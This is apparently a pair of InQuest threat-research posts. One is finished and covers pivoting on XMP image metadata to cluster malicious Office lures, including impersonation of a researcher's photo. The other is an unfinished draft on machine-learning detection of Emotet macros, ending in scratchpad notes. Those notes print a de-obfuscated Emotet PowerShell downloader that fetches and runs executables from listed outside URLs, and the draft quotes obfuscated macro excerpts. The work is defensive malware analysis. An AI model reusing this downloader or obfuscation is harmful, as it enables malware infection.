$ exiftool ./word/media/image1.png | grep -i xmp


    XMP Toolkit                     : Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
    Original Document ID            : xmp.did:59D68E8C27A2E711964BBD7939DA4803
    Document ID                     : xmp.did:5F6437DAA22811E7975EC6C88D5BC4AF
    Instance ID                     : xmp.iid:5F6437D9A22811E7975EC6C88D5BC4AF
    Derived From Instance ID        : xmp.iid:59D68E8C27A2E711964BBD7939DA4803
    Derived From Document ID        : xmp.did:59D68E8C27A2E711964BBD7939DA480

Regardless of the approach, we're going to leverage the IOC pivot tool on InQuest Labs to search for other samples that may contain images derived from the same parent asset (59D68E8C27A2E711964BBD7939DA4803).

InQuest Labs IOC Pivot Search

The pivot reveals two additional samples:

6b0aad2732169740ba5556ec7a8c90da05af208971a3821ab0c9c1fbdc4961f5 (VT, InQuest Labs)
0aa7b1554cf5a8deb29b145041623d7c67e42c04801637adb02b26203a96caaa (VT, InQuest Labs)

Detection rates for sample 6b0aad27 started with 20 vendors on 8/19/2018 and matured to 34 vendors on 9/24/2019. Detection rates for 0aa7b155 started with only 6 vendors on 8/19/2019 and matured to 19 vendors on 9/24/2019. Their relevant scan histories are depicated below:

6b0aad2732169740ba5556ec7a8c90da05af208971a3821ab0c9c1fbdc4961f5

0aa7b1554cf5a8deb29b145041623d7c67e42c04801637adb02b26203a96caaa

We can immediately see the value of leveraging XMP IDs to identify related and potentially stealthier samples of the same campaign. As a generalized workflow:

Ingest files from a variety of sources, both benign and malicious.
Extract graphical assets looking for XMP identifiers.
Catalog these identifiers and reference that catalog for pivoting to other samples.

Researchers already employ similar tactics on IP and domain IOCs. This approach provides a pivot engine for a subset of file content.

Microsoft Office DOCX with JPG

Having demonstrated the fundamental value of XMP identifier pivoting, let's dive into another DOCX example, this time with an embedded JPG. This sample is also available on InQuest Labs so readers can follow along, the SHA256 hash value is:

fa97740770f45666ed17ca3b536b513bd99cbfa0c1feeb25dc5c08019831969e

AV consensus on this malicious document lure started with 6 vendors on 7/22/2019 and matured to 32 vendors by 9/29/2019. Once again, downloading, renaming to .zip, and decompressing the archive results in the discovery of a graphical asset, ./tge-zip-1-1/word/media/image2.jpeg, shown here:

There's another image in the media folder, image1.jpeg, we'll circle back to that shortly. Looking at the extracted IOCs panel under InQuest Labs, we see a number of XMP IDs in both GUID and MD5 formats:

The XMP IDs above are collected from all graphical assets that were discovered in the DFI process. We can pivot on each of the IOCs directly from the interface, which will include the "xmp.[doi]id:" prefix. Stripping the prefix will expand our search and we've curated the complete list for your convenience and exploration here:

While we're focused on XMP pivots in this blog, readers should note that there are other interesting pivots that can be made as well, including:

OCR pivot: https://labs.inquest.net/dfi/search/ext/ext_ocr/enable%20content
IP IOC pivot: https://labs.inquest.net/dfi/search/ioc/ip/54.39.233.132

Let's manually extract the XMP identifiers from image2.jpeg using Exiftool and focus solely on those:

$ exiftool image2.jpeg | grep -i xmp

    Toolkit                          : Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
    Instance ID                      : xmp.iid:CAE628A27467E911AD18A821864C67C5
    Document ID                      : xmp.did:B3D4F1219157E911B37B9950729CB11D
    Original Document ID             : xmp.did:B3D4F1219157E911B37B9950729CB11D
    History Instance ID   XMP        : xmp.iid:B3D4F1219157E911B37B9950729CB11D,
                                       xmp.iid:CAE628A27467E911AD18A821864C67C5
    Derived From Instance ID         : xmp.iid:C9E628A27467E911AD18A821864C67C5
    Derived From Document ID         : xmp.did:B3D4F1219157E911B37B9950729CB11D
    Derived From Original Document ID: xmp.did:B3D4F1219157E911B37B9950729CB11D

The instance ID for this specific asset is CAE628A27467E911AD18A821864C67C5, looking one level up at the document ID or original document ID we see B3D4F1219157E911B37B9950729CB11D. We can pivot on this identifier through InQuest Labs:

https://labs.inquest.net/dfi/search/ioc/xmpid/B3D4F1219157E911B37B9950729CB11D

As of the time of this writing, the above search results in 88 different XMP records spread across 44 unique files. The complete list of SHA256 hashes is listed here in alphabetical order. We've highlighted the 8th hash below, more on this sample in the next segment.

00121f1606d92c3a1e33c1d4fdf46240dafe3f5e188c15a70b19b2bf7af1c227
06d2335b3e09d7e1e5c7d5c130c908fb2ecc3203f3588f965597d01e2a8b6937
0dfaa85dfbc21fed86337d2b3fdea8f82679ad23cbdeb3421d5f96e4dff8acfb
0f4004c71d7be998222325b9692ae3c302995ceba152e71cff567103dcd4d5fc
1f2c096dbf1229c381e9c8d4ac462c35f2da6991fd278d93c476d14d48848243
1f4fcfd867258e15a99ac77f4a0c3b57ecd1fbf9c76f0e7b47c41a475d84679f
3380235f6de3db4eac0f1212a2608f8b02b1cef68cf5db34e445e729623e686a
38aa04842e21290b90e50ab2d724dbbdfd47767f072f7351f51af107125bc7d1
3c57e01c98454cab1c80d79bec69f562bdeec063ab4fb96c174fb9b2ec58c844
43179d0781d2060a64fe30229a02839cd3bde5d2f324de35b3e0281b0e737a97
47079047672a5623fd32d2ee59e572125f813693c0e4500bdddfb8da443555bf
4e4f051a44d6695c39133e8ca9efbc5b9e405047e2de4cb5dc1e686466a92121
4fa9446c629c3eac4e3e08edec00014520231ba9cca7d33243c8be857aad6f81
5015f68a8c4a3bb1ca8617210311d95275bd2950475cc4dca17a533de53144e1
5042143c8d1ca43a1bc9cf7e9040fdaec1feded1df63a636dfedb639945a2fcc
5413abf53b1849ce6df0b033b40cb7b57672452837bb8288e67c4ff88a48c3ae
54a029ed71862a19c4b891dc87f5388d10f125f2fe71ac891f7c19b7e814f8f4
54ebc0d9d9d2a78d4e6d59abdadfed06ea4fa828786a4690a5a1c74bba3ce2cd
55d837894d33312359cf8dc75def9571ea2a039848fc8c3b791090b97aa825f7
5b88f32d73be23510dc431977a67049a94ebecb8b8d20a53b3b0d878482baa0e
73600566cf58f255b6e4432edeb6387abf20b56d6f1ddbb98fea3db7d4c4c85d
7e3428e040e27afb40bfdd1af3533cc6353539869baa254424df8a40ee56ca93
7f971db182b02c6e0dca36e010304b5f684e9909db586f5a983d288c9eef26c8
879737700c55cd430e6e6dd7b89cf65df9c7f4eda40488a5c6dcd3a7ff898afc
880a410c6fd450a5a8c353a3dad432b6ea763bfe9ad258dab685ccf922ae297b
8b0464dd223a3478fa4053410bd0e3ee190eb151c473ef339dd4a1f99fffc626
8d776245b87ccdd6dddf1e2f5eccf0315de6e899490c2a78a008b6115fc12c46
8ec3a628d9b1d49201917978c24f1e2891b57b163f0f5bb3b51251474d71598b
9506670a5d7f941bf96120353408a60805f5c3822e3946997a3a0a712703423a
96fdb605c2bbd3a8b570e5c23f9f92ee83d37ca841ab3add23ff01ff73d3a57e
97a476f1d46cfa6cd800b87baf5f7810cb6a5c232a831ac682b8bd376c8def70
980d8d3e67fb19ea5ef37aa2098225d10d97718f446d92b4e0d1b96980747adf
988f21477f5026b45ae691bbd69fe1fc1914d8a89eba18cf9a0a5ac1938c9754
ac868175af09137932aa8472be136ffa15a0cf2f6a04b397cb0bced6c48aad02
af9c1bd692933b925163b3899a003c54d4598c48edc2fc873d4e34d089b79308
b0b0953063b3cb8a380034104795176bfb51266b6b96c60716b4f272c88af9db
b45ff736c52a3e6a9ff0c93d63a9aa27906cb350d8311236b67d2d9d7fca8e41
b5986e67a0888ff58c7ca28b9433476d3866d5338a36a68e3e0297d0edda144a
bc6537ff96c9cb760170f4a0b5805f35591a31bf982bbd432cbcd44efe46c022
cc81be86c7896285698949e3015f1e940f0be91ddca045901e947f5d6bee03ff
ded9746abb7085f8a5ba1bb805b019ab6adeb85d93abe8b7cab4bdd5fa3e029c
e1359cfe046cd7137ab8480a893df358370ebb07266b0af222e257ee8ccd66e1
e786312e4226bf2c364fe96d3a7ff133b302681686dc31f45b661884d0686b76
fa97740770f45666ed17ca3b536b513bd99cbfa0c1feeb25dc5c08019831969e

More Interesting Pivots

Language

Recall from earlier in the blog we compared and contrasted a variety of methods for tracking graphical asset re-use across malware lures. Cryptographic file hashes, perception hashes, and OCR based semantic extraction. We posited that, when available, XMP identifiers provide a fast and valuable alternative to these methods. Let's take a look at highlighted 8th hash from the list above:

38aa04842e21290b90e50ab2d724dbbdfd47767f072f7351f51af107125bc7d1

This document lure provides a great example of the value of the XMP approach. Here's image2.jpeg from that sample:

Note that it is the German language equivalent of the image2.jpeg from the original lure. The unique instance ID for this asset is B6D4F1219157E911B37B9950729CB11D, as shown here through Exiftool:

$ cat image2.jpeg.exiftool | grep -i xmp

    XMP Toolkit                      : Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
    Instance ID                      : xmp.iid:B6D4F1219157E911B37B9950729CB11D
    Document ID                      : xmp.did:B3D4F1219157E911B37B9950729CB11D
    Original Document ID             : xmp.did:B3D4F1219157E911B37B9950729CB11D
    History Instance ID              : xmp.iid:B3D4F1219157E911B37B9950729CB11D
    Derived From Instance ID         : xmp.iid:B5D4F1219157E911B37B9950729CB11D
    Derived From Document ID         : xmp.did:B3D4F1219157E911B37B9950729CB11D
    Derived From Original Document ID: xmp.did:B3D4F1219157E911B37B9950729CB11D

But the asset shares the same parent ID of B3D4F1219157E911B37B9950729CB11D with CAE628A27467E911AD18A821864C67C5. To think about this in human terms. An initial asset was created and saved, then the text translated and resaved. Thus producing two unique assets with the same parent ID. While this relationship can also be derived from a perception hash, the XMP approach is far better performing. Again, readers should note that other pivot options are available. For example, searching for the German language equivalent of "Enable Content".

Impersonation

Recall from earlier in the DOCX with JPG example that we glazed over image1.jpeg. Let's circle back and take a look at that image now:

It looks like a template for a structured resume. The profile shot looks legitimate as well, though who knows in this day and age of generative algorithms. Carving out the profile photo and feeding it through the TinEye reverse image search, we get a match on Dr. Britta Höllermann, a [German university research assistant}(https://www.geographie.uni-bonn.de/research/rg/rg-evers/staff/britta-hoellermann) whose identity is seemingly being leveraged as part of the social engineering dimension of this malware campaign. Let's compare the XMP identifiers between the image above and the image found via the reverse image search below:

# malware lure embedded image. $ exiftool image1.jpeg | grep -i xmp


    XMP Toolkit                     : Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
    Instance ID                     : xmp.iid:78113FDD7F57E911B37B9950729CB11D
    History Instance ID             : xmp.iid:77113FDD7F57E911B37B9950729CB11D
    Document Ancestors              : xmp.did:97ba5d41-3019-4fa8-8e66-c2edb9f4b5e8

# reverse image search discovered match. $ wget https://www.geographie.uni-bonn.de/forschung/ags/ag-evers/Team/1bh.jpg $ exiftool 1bh.jpg | grep -i xmp


XMP Toolkit                     : Adobe XMP Core 5.5-c002 1.148022, 2012/07/15-18:06:45
Document ID                     : xmp.did:97ba5d41-3019-4fa8-8e66-c2edb9f4b5e8
Instance ID                     : xmp.iid:d1b150a4-7321-4874-b61e-ac58bf4f81d2
History Instance ID             : xmp.iid:635cbfe1-2c45-49f0-9158-19ec213c86e7,
                                  xmp.iid:ca378365-ad41-4284-8cb7-e8b627602372,
                                  xmp.iid:97ba5d41-3019-4fa8-8e66-c2edb9f4b5e8,
                                  xmp.iid:C4C93C76192068118083F8015B1BC4AF,
                                  xmp.iid:73B02411182068118083CE7276DA08A4,
                                  xmp.iid:0dad9cdc-3dc6-4118-8a5c-bb239234984a,
                                  xmp.iid:C5C93C76192068118083F8015B1BC4AF,
                                  xmp.iid:20659034222068118083CE7276DA08A4,
                                  xmp.iid:c5056276-dc8e-4f38-9aae-f04096a86fda,
                                  xmp.iid:AD90EF6D362068118083F8015B1BC4AF,
                                  xmp.iid:AE90EF6D362068118083F8015B1BC4AF,
                                  xmp.iid:222AB06C382068118083CE7276DA08A4,
                                  xmp.iid:d1b150a4-7321-4874-b61e-ac58bf4f81d2
Derived From Instance ID        : xmp.iid:AD90EF6D362068118083F8015B1BC4AF
Derived From Document ID        : xmp.did:97ba5d41-3019-4fa8-8e66-c2edb9f4b5e8

Notice the overlap here. The ancestor document GUID from the malware lure matches that of the asset discovered via reverse image search. Pivoting from this XMP identifier, we're able to enumerate other malware samples that impersonate Dr. Höllermann. We found ~150 unique malware samples with an average of ~10 AV detections on samples that overlap with VT. Tracing the campaign further we determine that the majority of final delivered executable payloads is ransomware, one example instance being:

720fbe60f049848f02ba9b2b91926f80ba65b84f0d831a55f4e634c820bd0848.

Wrapping Up...

We hope to have inspired additional research atop of sample clustering through XMP identifier relationships and look forward to feedback from the community with how we can make InQuest labs an invaluable tool for your research projects. Get in touch with us directly via Twitter or e-mail.

Originally published 2019-09-30 on the InQuest blog.

07.03.2019: Emotet, Unmasking via Machine Learning

Wed, 03 Jul 2019 00:00:00 -0500

Authored by: Steve Esling, Amirreza Niakanlahiji, and William MacArthur

There's plenty of malware to worry about in this world, and one of the most threatening (and costly) families out there is known as Emotet. Synonymous with Geodo / Heodo, Emotet has been evolving for the instant it was initially observed by information security practitioners in 2014. Emotet is a modular agent, information stealer, and downloader that most recently specializes in smuggling in other prolific trojans, usually ones that targeting banking information. This wasn't always the case. Initial intentions shifted towards becoming a malware delivery platform as Emotet's capability to spread undetected was exemplary in the malware ecosystem.

As of the time of writing, the tier-1 emotet Command and Control (C&C or C2) infrastructure is currently offline. It is well worth being prepared for its inevitable return however as this dormancy is likely temporal and related to the group retooling for the next major release. There is speculation that the next revision will include an exploit for a recent Microsoft Windows Remote Desktop Services vulnerability, [CVE-2019-0708](https://blogs.technet.microsoft.com/msrc/2019/05/14/prevent-a-worm-by-updating-remote-desktop-services-cve-2019-0708/). Emotet has been incredibly challenging to pin down, not only because it spreads rapidly through email delivery, but because its polymorphic, modular design allows its operators to constantly shift and change the code, making signature-based detection methods temporary solutions at best. Human experts are still usually able to discern if a given sample is Emotet or not after examining caught samples, but it�s a slow process that can�t possibly scale to production traffic volumes seen in the typical SOC environment. Fortunately, as we've discussed in previous blogs ([intro](https://inquest.net/blog/2018/11/14/Ex-Machina-Man-Plus-Machine), [random forest](https://inquest.net/blog/2018/12/28/Ex-Machina-Random-Forests), and [minhash](https://inquest.net/blog/2019/02/28/Ex-Machina-Family-Matters) for example), machine learning provides the tools necessary to emulate human analysis and automate it on a large scale. In this post, we'll talk further about the makings of Emotet and discuss how a previously built classifier can be re-trained and thereby re-tooled to assist in the discovery of evolving samples.

Emotet

There's a number of stages in the infection vector prior to the final delivery of the polymorphic Emotet executable payload, but before we glance at those. Let's review the high level functionality of Emotet. Comprised of modules, the following functionality is (at least) known to have been implemented:

The main module, responsible for loading other modules received from C2 infrastructure.
Address book harvester, performs e-mail spool analysis to lift target e-mails that can be passed to the spam module (see below).
Brute force module, attempts to connect to local network resources and brute force passwords, in an effort to copy itself to other systems.
Credential harvester, also present in most versions of Emotet, this module leverages NirSoft tools to lift credentials from installed web and mail clients.
E-mail harvester, responsible for the exfiltration of harvested e-mail data to C2 infrastructure.
Spam module, present in most version of Emotet and responsible for the continued e-mail borne spread of the contagion.
Distributed Denial of Service (DDoS) module, a dormant module that was active in earlier versions of Emotet.
Banking module, a dormant module that was active in earlier versions of Emotet.

Like most malware, there are a variety of stages in Emotet related malware campaigns. In the hunt for fresh evolving Emotet samples, we can focus on one or more of these stages, looking for commonalities or anchors that we can pivot on to identify other components of the infection vector. Examples include:

The initial delivery mechanism.
Final executable payload analysis.
C2 communication patterns.
C2 infrastructure (IP and DNS endpoints).

On the latter most matter, one can account part of Emotet's success to its rigid C2 architecture. Leveraging at least two large botnets of infected computers, known to researchers as Epoch1 and Epoch 2. In keeping with the subject of prior machine learning blog posts, we focus here on the initial delivery mechanism. Specifically the e-mail borne delivery mechanisms, and more specifically the usage of malicious Microsoft Office macros. This is actually the #1 most effective Emotet delivery mechanism, otherwise known as malspam. If we can uniquely identify components of the macro malware specific to Emotet campaigns, then we can cast a net around this stage of the infection vector (labeled "1" in the diagram below) and in-turn enumerate the other components of the infection vector.

Let's take a glance at some of the characteristic components for each of four different macro families collected from Emotet samples we've been harvesting over the past year. Each of these families have distinctive features that a human analyst will notice instinctually while analyzing Emotet samples at scale. In the next section, we'll highlight how we can leverage unsupervised machine learning to automatically identify these clusters.

Family-1

At a glance analysis reveals multiple, sometimes nested, junk If-Else decision trees with heavy usage of gibberish variables and a mix of math library function calls. Most popular seen functions include (ordered more common first): *Atn(), Round(), Sqr(), Tan(), Hex(), Rnd(), Cos(), Oct(), CLng(), ChrB(), Int(), CStr(), CVar(), Asc(), CDate().*

Sample Macro Obfuscation Style Excerpt
jQAAxZ_ If FQBXU_U = UZUo1BAA Then ElseIf bAoQXAB = JAAx1G Then rCACwUBA = Hex(MD1xBBA + CSng(KAUDBAD / Tan(289954362 + 68963466))) ElseIf UXoAAUA = iADcA4 Then IDwQAX = Atn(192828462) + Int(178883383) ElseIf I4kDQBU = XGwXAQ Then HUUAcBDk = 722919832 + Atn(361484891) End If

Family-2

At a glance analysis reveals long hex strings and function definitions with gibberish names. Most popular seen functions include (ordered more common first): *lus(), DRTYUIUU(), fibonacci(), XXCERQAZSD(), UBound(), CreateObject(), Len(), Environ(), OUIZXCAQ(), LBound(), CreateTextFile(), Click().*

Sample Macro Obfuscation Style Excerpt
lus(2316) = "f593ab11e5bd6d2727f4eae0e728abf327cbbce4755dac1e1027273f291bdf68d2ea7b7b2129dda75527632727e4795877e851ace928f0e128446071292727fb4018dcfe331b9929820d0d9929f54e27273999295fa5bac7d383474968875d71292727d713fac45ac92be339825128621f88ce272714db9505059929ac626d4f" lus(2317) = "298792e8182727e0750a5129eaa21827bfceb1598bc5cb2727c0dd299ba8a8a129c9cf8dc12994ba8c2727861bf581e3c03be2a905ac88be2179172727298a356b295840b8da93d8094fb7c9b727276138f3b929c6db34c709ac700129fd8227270727efa7a578a45b37c7294ca90441e22727d18e4969b02be1bdea15df295b" lus(2318) = "db396d27275d85b81bbfdcbfe12941ad19e288754b2727291b945679299fa16d8f9bca34db299a2727904c1929724cd9fbe1a9436aa7e8f4df27271537e0e00fc73e51d128585128ddbdb9272729a8e0f019b2972129079589b32988c92727098cdf09799729c777eb298aff99c32927277be288c5a0e9c9db2943b2ca19ef59"

Family-3

At a glance analysis reveals heavy usage ChrW() character concatenation, and gibberish variables. Most popular seen functions include (ordered more common first): *ChrW(), Shell(), Open().*

Sample Macro Obfuscation Style Excerpt
Shell (bhZMvtDFeLa) bhZMvtDFeLa = ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108) & ChrW(108) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(32) & ChrW(45) & ChrW(78) & ChrW(111) & ChrW(80) & ChrW(32) & ChrW(45) & ChrW(78) & ChrW(111) & ChrW(110) & ChrW(73) & ChrW(32) & ChrW(45) & ChrW(87) & ChrW(32) & ChrW(72) & ChrW(105) & ChrW(100) & ChrW(100) & ChrW(101) & ChrW(110) & ChrW(32) & ChrW(45) & ChrW(69) & ChrW(120) & ChrW(101) & ChrW(99) & ChrW(32) & ChrW(66) & ChrW(121) & ChrW(112) & ChrW(97) & ChrW(115) & ChrW(115) & " " _

Family-4

At a glance analysis reveals heavy usage of ChrW() / ChrB() / Chr() character concatenation, gibberish variables, jun If-Else junk decision trees, and long lines containing calls to various math library functionality. Most popular seen functions include (ordered more common first): *Chr(), CBool(), Sqr(), ChrW(), Round(), CByte(), Sin(), ChrB(), Fix(), CDate(), Hex(), CLng(), Cos(), Log(), Oct().*

Sample Macro Obfuscation Style Excerpt
If dXBABBA = zAAAoAAA Then jAkBCAGA = 883910083 * CByte(559167643) / RDQQGGAA - Int(193946949 + oAccQUA) * 284989030 + CInt(242790627 + CLng(BA_4ADo)) LADUQDD = (k1QAUA / Oct(SAZBAAkB) - DAADAA * CInt(391963257) - D1AGxAAQ - CDbl(O4kwCUcA - tcBZB1AZ / OABDAG - 936688393)) End If If wAQBxDXD = PAAABUA Then XAUCAA = 873169285 * Sgn(793182667) / FAZQcAA - CDate(416882180 + VwDxAUCk) * 292734993 + Log(71335926 + CBool(UDAAw1U)) dAQAQQ = (rG1AcA / ChrW(iAUAAZD) - VAcDBBU * Int(234956747) - XBXQ4CD_ - Log(wAQBZBG - VDUAAk / zAB4UD - 983561536)) End If
>>>>> Above this line is ready for blog.inquest.net
>>>>> PRODUCTION LINE >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>> Still working below this line

An analyst familiar with Emotet can classify samples based on these distinctive characteristics with relative ease. Manual efforts obviously don't scale so practitioners commonly lean on signature based detection of such threats. An overall valuable technique, but a continuous battle with malware families such as Emotet, which frequently retool and employ polymorphic transformations to avoid exactly this kind of detection. Let's take a look at what a real-world signature based approach looks like in this case. [Clam AntiVirus](https://www.clamav.net/) (ClamAV) is a popular, freely available, and open source anti-virus solution. Supported by both the community and commercially owned by Cisco, ClamAV

TODO https://github.com/InQuest/malware-samples/tree/master/2019-06-Emotet-Droppers 50 Emotet samples
TODO Consider uploading clamav\_aggregate\_emotet\_document_downloader.yara to github/inquest/yara-rules � modify condition to be 2 or 3 of them.
Unmasking via ML
The first step, as with any supervised learning problem, is assembling a good training set. For this task, it would be a slightly different set than we�ve used in the past for catching malware. While our previous blogged about classifiers were concerned with finding "good" (negative for malware) and "bad" (positive for malware) macros, our Emotet ones would be specifically looking for whether or not the macro was the eponymous Trojan. This meant that the data would be split by "positive for Emotet" and "negative for Emotet," with the latter actually containing a mixture of "good" and "bad" samples. Therefore, if these new classifiers were to return a negative result for any given macro, it might still be malicious, just not the "right kind" of malicious. It would still be up to our previous classifiers to deal with a file�s "goodness" or "badness�. Our final data set wound up as two collections:

A collection of "bad", Emotet labeled malware.
A collection of "bad", non Emotet-labeled malware along with "good" non-malicious samples.

TODO sample harvesting and initial labels
Harvesting
VT
https://urlhaus.abuse.ch/browse/tag/emotet/
https://urlhaus.abuse.ch/browse/tag/heodo/
Labeling
VT
ClamAV Super YARA Signature
Dynamic Analysis (Powershell pivot)

After we had trained our models, they were shown to have great accuracy, consistently marked unlabeled files as Emotet that even our trained experts were unable to find without deeper inspection. With confidence that they were working correctly, we decided to take one of the classifiers apart to see how it worked, specifically our Gradient Boost (GB) classifier. To do so, we viewed the relationship between each feature and each sample in terms of a Shapley Additive Explanation (SHAP) value.

A SHAP value is the result of a complex equation based on game theory; basically, a measure of the impact any given feature had on the final prediction of any given sample. We illustrate this below. Let's take a look at how the feature impact differs between our standard classifier and our Emotet specific one. The following data visualizations depict the top 20 most important features, out of over 100 features that fuel each of the classifiers.

Gradient Boost Malware Classifier SHAP Values

Gradient Boost Emotet Classifier SHAP Values

Now, depending on the sample, a feature will have more or less impact on the final result. Because there�s variance in this respect, the graphed features are ranked by the average magnitude of their effects. The individual impacts can be seen by the placement of the samples on the X axis, with a location farther to the left indicating that the feature had a larger negative impact (decreased the likelihood the sample was malicious) and placement farther to the right representing a strong positive one (increased malicious likelihood.) The actual colors are indicators of how high or low a sample scored on the associated feature.

With all of this in mind, we�re able to interpret the classifier�s �thought process� for each training set, without having to go through the hundreds of thousands of decision branches that it utilized to arrive at its decisions. This allows us to directly compare the two classifiers, so let�s zoom in on what each one considered the top five most important features to be.

For our standard classifier, the top five most important features, in descending order, are the number of macro functions with a length greater than 18 characters, the number of macro comments, the language of origin that the document was created in, the length of the longest function name within the macro, and the number of branching paths (�if-then� statements) contained within the macro as well. While functions longer than 18 has the highest importance to a given sample on average (and, interestingly, it seems that higher numbers of such functions make a sample more likely to be benign,) the most consistent feature is the language. This likely due to the way language was encoded as a feature; as a categorical variable, each given language was encoded as an integer. The fact that a higher integer almost always leads to higher predicted maliciousness likely has to do with one language in particular being almost always associated with malicious code, and its associated number being a larger integer, perhaps a 3 or 4. The fifth most important feature, number of branches, is also fairly consistent, as well as intuitive, with lower scores leading to a higher likelihood of being benign.

The top five features for our Emotet classifier are a bit more focused, with most of the importance resting on the first two, the number of gibberish variables and the length of the smallest value of a file�s metadata (stored information about the file itself, such as its language of origin, date of creation, etc.) It seems that high scores on the former and low scores on the latter are both string indicators that a file might be Emotet.

Let's swing back around to the macro malware family question we posed in the previous section. Where did those clusters come from? The answer to that has to do with k-means clustering, a type of unsupervised learning. In simplest terms, k-means finds cluster centers, or prototypical �average� examples that define groups of similar data. We ran multiple k-means each set to find a predetermined number of cluster centers ranging from 2-12 on our Emotet samples, based on their feature vectors. On each passing, we noted how �different� the cluster centers were from each other, and decided that past four there was too much overlap among them to consider them as separate families. We'll dive further into unsupervised clustering methods in a separate / future blog post.

Validation
TODO validation at Powershell level / dynamic analysis / show samples

On a final note, If you're interested in this kind of work and will be attending Blackhat USA in Las Vegas in August, be sure to check out Worm Charming: Harvesting Malware Lures for Fun and Profit presented by Pedram Amini on Wednesday, August 7 from 2:40pm through 3:30pm.

Above this line is our actual blog draft, what follows is raw notes/materials.
SCRATCHPAD

Emotet samples identified by classifier:

c742db754ce520271e3d5f299d2fb13090ee8e46fbef4534e65ee6e04d3e0ca7 (Cat Quick-Heal labeled Emotet)
1a6afc1493e33971fca254cbac8d34b6b131f66d87512d0c4f63c2a0ea288613 (noone labeled Emotet)

De-obfuscated powershell from c742 sample:

$franc = new-object System.Net.WebClient;
$nsadasd = new-object random;
$bcd = 'http://eapsaacademy.org/CsZxHA/,
http://aydisa.com/QPhnCF/,
http://galvacrom.cl/ALnQkYy/,
http://www.apicolaelrefugio.cl/iPFNo/,
http://www.drmka.ir/P60u/'.Split(',');
$karapas = $nsadasd.next(1, 343245);
$huas = $env:public + '\' + $karapas + '.exe';
foreach($abc in $bcd)
{
try
{
$franc.DownloadFile($abc.ToString(), $huas);
Invoke-Item($huas);
break;
}
catch
{
write-host $_.Exception.Message;
}
}

# 50 sample documents with their extracted macros.
$ ls -1 *.macro | wc -l
50

# unique, there are only 18 though:
$ for f in *.macro; do cp $f uniq_macros/`sha256 $f | cut -d' ' -f1`; done
$ cd uniq_macros/
$ ls -1 | wc -l
18

# line counts.
$ wc -l * | sort -n
23 4a966a5bfc0475d15062e934b8806ef68e1626c13f320497d1abf3efb229cefa
72 aa262de50037c298895321486ee00d5826ae893db017ad64419683a597a48de4
82 91a437a0c64b4442e8e411e7a4e81692b96c96866418c9d8163669a490e0580a
84 121effee09336ca6e95fb838dc2cf14113763acd5780c407d3461f206712178d
98 86c819592b938e0bd5badea164ddf8628c2348ce293828b33d1ef5a0d96d9d77
113 6eaf9013555acdb7ad4c7856728183614d17fdad7649020bcd6179bc5b27b5eb
121 219761ae921a75d202e3c5694355f2d645c1836361b1fc07af9f96bf4676aad6
134 13b5cdc743ae7dd313f2c12e0dca157892c6ad61103d6284db256d4490071ad7
160 3bb047a9148a80436fea7340f7c4077c27a9005587f28fdb151a609a96c696cf
184 90f44819a25ed26f2b21f095d166db1c08153de28e71b4f51a37a6c5fb006d2f
189 035b3db6b911a575684c60c266b270abed8692b91ed72ee134c65c8a8e84126f
254 8dc9551cbe33913fcbc4f17956b707e0b12cbd31a9f14e3cccf6be7e5a1d2ded
264 ba633ec83a4cd85ba0bdd2097dd464214c61a952e4a6b8de7276d8351ac14b6a
266 56c3ef4e9779e2a9abf4a9b783feff670e9284eeea9e9a2bb6b282c65eabc8ba
594 b1001df828e696f235bdc70f3f8967a398c6f146c6b1ee58bbdfbff403899d4e
839 d2171050d59097d03cb7fa8a93272d3dfbda00f153dad10f661d8c631b410a8b
1192 6345cfb99fc97cbea04b00badd759c30f5812e1aa7c4f60ecd111020b5734f6b
1225 5e0b3272cf61c686b4eeabcd0f07d5e8e64abef200fa1777ce3ae7bc2e5ff9dd
5894 total

# file sizes.
$ for f in *; do stat -f '%z %N' $f; done | sort -n
1135 4a966a5bfc0475d15062e934b8806ef68e1626c13f320497d1abf3efb229cefa
2493 6eaf9013555acdb7ad4c7856728183614d17fdad7649020bcd6179bc5b27b5eb
3888 219761ae921a75d202e3c5694355f2d645c1836361b1fc07af9f96bf4676aad6
4467 13b5cdc743ae7dd313f2c12e0dca157892c6ad61103d6284db256d4490071ad7
4752 91a437a0c64b4442e8e411e7a4e81692b96c96866418c9d8163669a490e0580a
4841 121effee09336ca6e95fb838dc2cf14113763acd5780c407d3461f206712178d
5080 3bb047a9148a80436fea7340f7c4077c27a9005587f28fdb151a609a96c696cf
5727 86c819592b938e0bd5badea164ddf8628c2348ce293828b33d1ef5a0d96d9d77
5792 90f44819a25ed26f2b21f095d166db1c08153de28e71b4f51a37a6c5fb006d2f
5871 aa262de50037c298895321486ee00d5826ae893db017ad64419683a597a48de4
6052 035b3db6b911a575684c60c266b270abed8692b91ed72ee134c65c8a8e84126f
8266 8dc9551cbe33913fcbc4f17956b707e0b12cbd31a9f14e3cccf6be7e5a1d2ded
9915 56c3ef4e9779e2a9abf4a9b783feff670e9284eeea9e9a2bb6b282c65eabc8ba
11696 ba633ec83a4cd85ba0bdd2097dd464214c61a952e4a6b8de7276d8351ac14b6a
40662 d2171050d59097d03cb7fa8a93272d3dfbda00f153dad10f661d8c631b410a8b
45534 b1001df828e696f235bdc70f3f8967a398c6f146c6b1ee58bbdfbff403899d4e
49096 5e0b3272cf61c686b4eeabcd0f07d5e8e64abef200fa1777ce3ae7bc2e5ff9dd
49129 6345cfb99fc97cbea04b00badd759c30f5812e1aa7c4f60ecd111020b5734f6b

Emotet HipChat Comms
24cb8f765803b7feacfdee86224409bba85df80a3822e87e7f26a4328f88ec6f
402f97a639a722d3f6d5ff09453d81fe9b0fc15ae138d4b1bb9061b4af22eb1b
6b311d4cfb2be9c469ff2076785ccf7891eb040c9318bab4304cb52016eaf7d8
fd1cbd3aec3b63b92a5a82b10d2e9547e091eb523172c07a09bac468d1c92e69
044ef5f307e53b24a6c7688dbac252a284cdece4423c2fe2329865049319e1fb
GB says these are emotet, RF and LR dont, none of the AV engines label above samples as Emotet

Important Events Timeline
